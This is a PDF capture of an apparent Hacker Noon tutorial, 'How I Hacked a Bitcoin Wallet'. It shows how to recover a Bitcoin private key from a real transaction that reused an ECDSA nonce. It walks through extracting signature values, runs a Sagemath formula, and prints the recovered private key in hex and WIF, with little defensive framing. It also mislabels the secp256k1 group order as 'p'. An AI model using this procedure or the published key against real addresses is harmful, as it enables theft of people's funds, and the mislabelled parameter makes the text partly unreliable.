How I Hacked A Bitcoin Wallet - A Step by Step Guide - Hacker Noon [PDF]

Zitiervorschau

8/22/2021

How I Hacked a Bitcoin Wallet: A Step By Step Guide | Hacker Noon

Search... Trade crypto on Phemex

How I Hacked a Bitcoin Wallet: A Step By Step Guide August 31st 2019

 99,117 reads



24

@FlawTech Flaw Tech

Flaw Tech is a community of IT experts. Topics of discussion include OS, Security, Software, etc. https://hackernoon.com/hacking-a-bitcoin-wallet-642u36sa

1/12

8/22/2021

How I Hacked a Bitcoin Wallet: A Step By Step Guide | Hacker Noon

This is an old vulnerability but still is around. Not many bitcoin companies/wallets will re-use values these days when signing transactions, but people who are creating new copies of old coins and wallets generally don’t know about this vulnerability. While researching this, I discovered that a lot of Russian bitcoin hackers have coded bots to automatically grab coins from vulnerable addresses of this type and others as mentioned at the beginning of this tutorial.

Before I start I want to let you know that I have received an immense amount of requests for getting back access to bitcoins/wallets stolen by hackers or scammers, to the point I had to remove my personal information from here. I don't have an infinite amount of time to help everyone but I will try my best to help when I have free time. If you need my help or security consultation, join me on my community forum: Flaw Tech (https://flaw.tech).

We have a section dedicated to Bitcoin specifically where you can post your inquiries or anything else you want to share. I am regularly updating this same article on Flaw Tech (How I Hacked a Bitcoin Wallet). Be sure to check it out for more information on this bug.

Here are some ways that a bitcoin address or wallet may be vulnerable.

A private key is created with a common password such as “123456”.A simple copy/paste mistake. A transaction is created with non-standard outputs. A random number generator was used wrong or produced the same output. The private key was posted publicly.

We are going to be talking about a transaction with a broken random number generator

https://hackernoon.com/hacking-a-bitcoin-wallet-642u36sa

2/12

8/22/2021

How I Hacked a Bitcoin Wallet: A Step By Step Guide | Hacker Noon

We are going to be talking about a transaction with a broken random number generator (string). These addresses re-use certain values in a transaction due to poor knowledge, programming errors, or a broken random number generator.

Take a look at this transaction: https://blockchain.info/tx/9ec4bc49e828d…0e3b29c4b1

There are two inputs and one output in this script. This is alright. Inputs are pointers to outputs of previous transactions. Outputs are, at the basic, an amount and an address.

Taking a closer look at the inputs of these scripts we notice that they are similar.

1.

ScriptSig: PUSHDATA(71) [30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd PUSHDATA(65) [04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f18

2.

https://hackernoon.com/hacking-a-bitcoin-wallet-642u36sa

3/12

8/22/2021

How I Hacked a Bitcoin Wallet: A Step By Step Guide | Hacker Noon

ScriptSig: PUSHDATA(71) [30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e4 PUSHDATA(65) [04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f18

The beginning of the scripts contain the signatures (defined as ‘r’ and ‘s’). The end of the script is the hex public key.

So we have:

r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1

r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1

s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e

s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab

It turns out that the r values in the scripts are exactly the same. This means we can derive the private key.

Now for some math equations:

https://hackernoon.com/hacking-a-bitcoin-wallet-642u36sa

4/12

8/22/2021

How I Hacked a Bitcoin Wallet: A Step By Step Guide | Hacker Noon

Bitcoin Private Key = (z1*s2 - z2*s1)/(r*(s1-s2))

We have the r and s values, now we need to find the z1 and z2 values.

Go here: https://2coin.org/

Enter in our transaction ID: 9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1

Scroll down to find the z values.

https://hackernoon.com/hacking-a-bitcoin-wallet-642u36sa

5/12

8/22/2021

How I Hacked a Bitcoin Wallet: A Step By Step Guide | Hacker Noon

We find: 

z1 = c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e

z2 = 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc

Bitcoin uses an elliptical curve for generating public keys. The order of the curve is secp256k1. 

p = parameter for the secp256k1 curve. So

p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

We will need to create a finite field for the calculation.

K = GF(p)

https://hackernoon.com/hacking-a-bitcoin-wallet-642u36sa

6/12

8/22/2021

How I Hacked a Bitcoin Wallet: A Step By Step Guide | Hacker Noon

Now that we have all the information we need, we can run our calculations.

We’ll use Sagemath: http://www.sagemath.org/

I will be using the cloud version. Make sure you input all of our equations:

p

= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

r

= 0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1

s1 = 0x44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e

s2 = 0x9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab

z1 = 0xc0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e

z2 = 0x17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc

K = GF(p)

K((z1*s2 - z2*s1)/(r*(s1-s2)))

Click run:

https://hackernoon.com/hacking-a-bitcoin-wallet-642u36sa

7/12

8/22/2021

How I Hacked a Bitcoin Wallet: A Step By Step Guide | Hacker Noon

The calculation outputs: 8886529829971911768221846729583336708564903309569815105500762097429416599 5414

Now we will convert it from decimal to hex. You can do so here: https://www.rapidtables.com/convert/numb…o-hex.html

Our private key in hex is: C477F9F65C22CCE20657FAA5B2D1D8122336F851A508A1ED04E479C34985BF96

From here we can convert it to a WIF (wallet import format). This represents the private key!

A WIF private key is a standard private key, but with a few added extras:

1. Version Byte prefix - Indicates which network the private key is to be used on.

0x80 = Mainnet

0xEF = Testnet

2. Compression Byte suffix (optional) - Indicates if the private key is used to https://hackernoon.com/hacking-a-bitcoin-wallet-642u36sa

8/12

8/22/2021

How I Hacked a Bitcoin Wallet: A Step By Step Guide | Hacker Noon

create a compressed public key.

0x01

3. Checksum - Useful for detecting errors/typos when you type out your private key.

Go here: https://2coin.org/privateKeyToAddress.html

Enter in our hex private key. 

Our private key in WIF is: 5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ

Hope this tutorial sparks some interest in people!

24

https://hackernoon.com/hacking-a-bitcoin-wallet-642u36sa

9/12

8/22/2021

How I Hacked a Bitcoin Wallet: A Step By Step Guide | Hacker Noon

24

by Flaw Tech @FlawTech. Flaw Tech is a community of IT experts. Topics of discussion include OS, Security, Software, etc.

 Flaw Tech Community



JOIN FREE TON COMMUNITY AND PARTICIPATE CONTESTS!

Related Stories Subject Matter The Evolution of Nvidia's Graphics Cards by @FlawTech #graphics-card All the Methods You Can Use to Hack into a Website by @morpheuslord #security What are Zero-day Vulnerabilities and Exploits by @jmau111 #cybersecurity How to Hack a Windows Machine Like a Pro Hacker by @morpheuslord #security 5 Benefits of Drag-and-Drop App Builders for Startups in 2021 by @terryfranson #app-development How AI Will Push Fintech and Banking to New Heights in 2021 by @peter-jobes #ai https://hackernoon.com/hacking-a-bitcoin-wallet-642u36sa

10/12

8/22/2021

How I Hacked a Bitcoin Wallet: A Step By Step Guide | Hacker Noon

TAGS #hacking

#vulnerability

#hackers

#private-key

#bitcoin-wallet

#transaction

#latest-tech-stories

#private-key-vulnerability

Join Hacker Noon  􏔰 Create your free account to unlock your custom reading experience.

The Hacker Noon Newsletter Quality Weekly Reads About Technology Infiltrating Everything

[email protected] Subscribefree Yes, I agree to receive emails about tech eating the world.

ABOUT Careers Contact Cookies Help Privacy Terms

READ Archive Leaderboard Signup Tech Brief Tech Tags Top Stories https://hackernoon.com/hacking-a-bitcoin-wallet-642u36sa

11/12

8/22/2021

How I Hacked a Bitcoin Wallet: A Step By Step Guide | Hacker Noon

WRITE Distribution Editor Tips Guidelines New Story Perks Why Write

SPONSOR Brand Publishing Case Studies Niche Marketing Newsletter Sitewide Billboard Writing Contests

https://hackernoon.com/hacking-a-bitcoin-wallet-642u36sa

12/12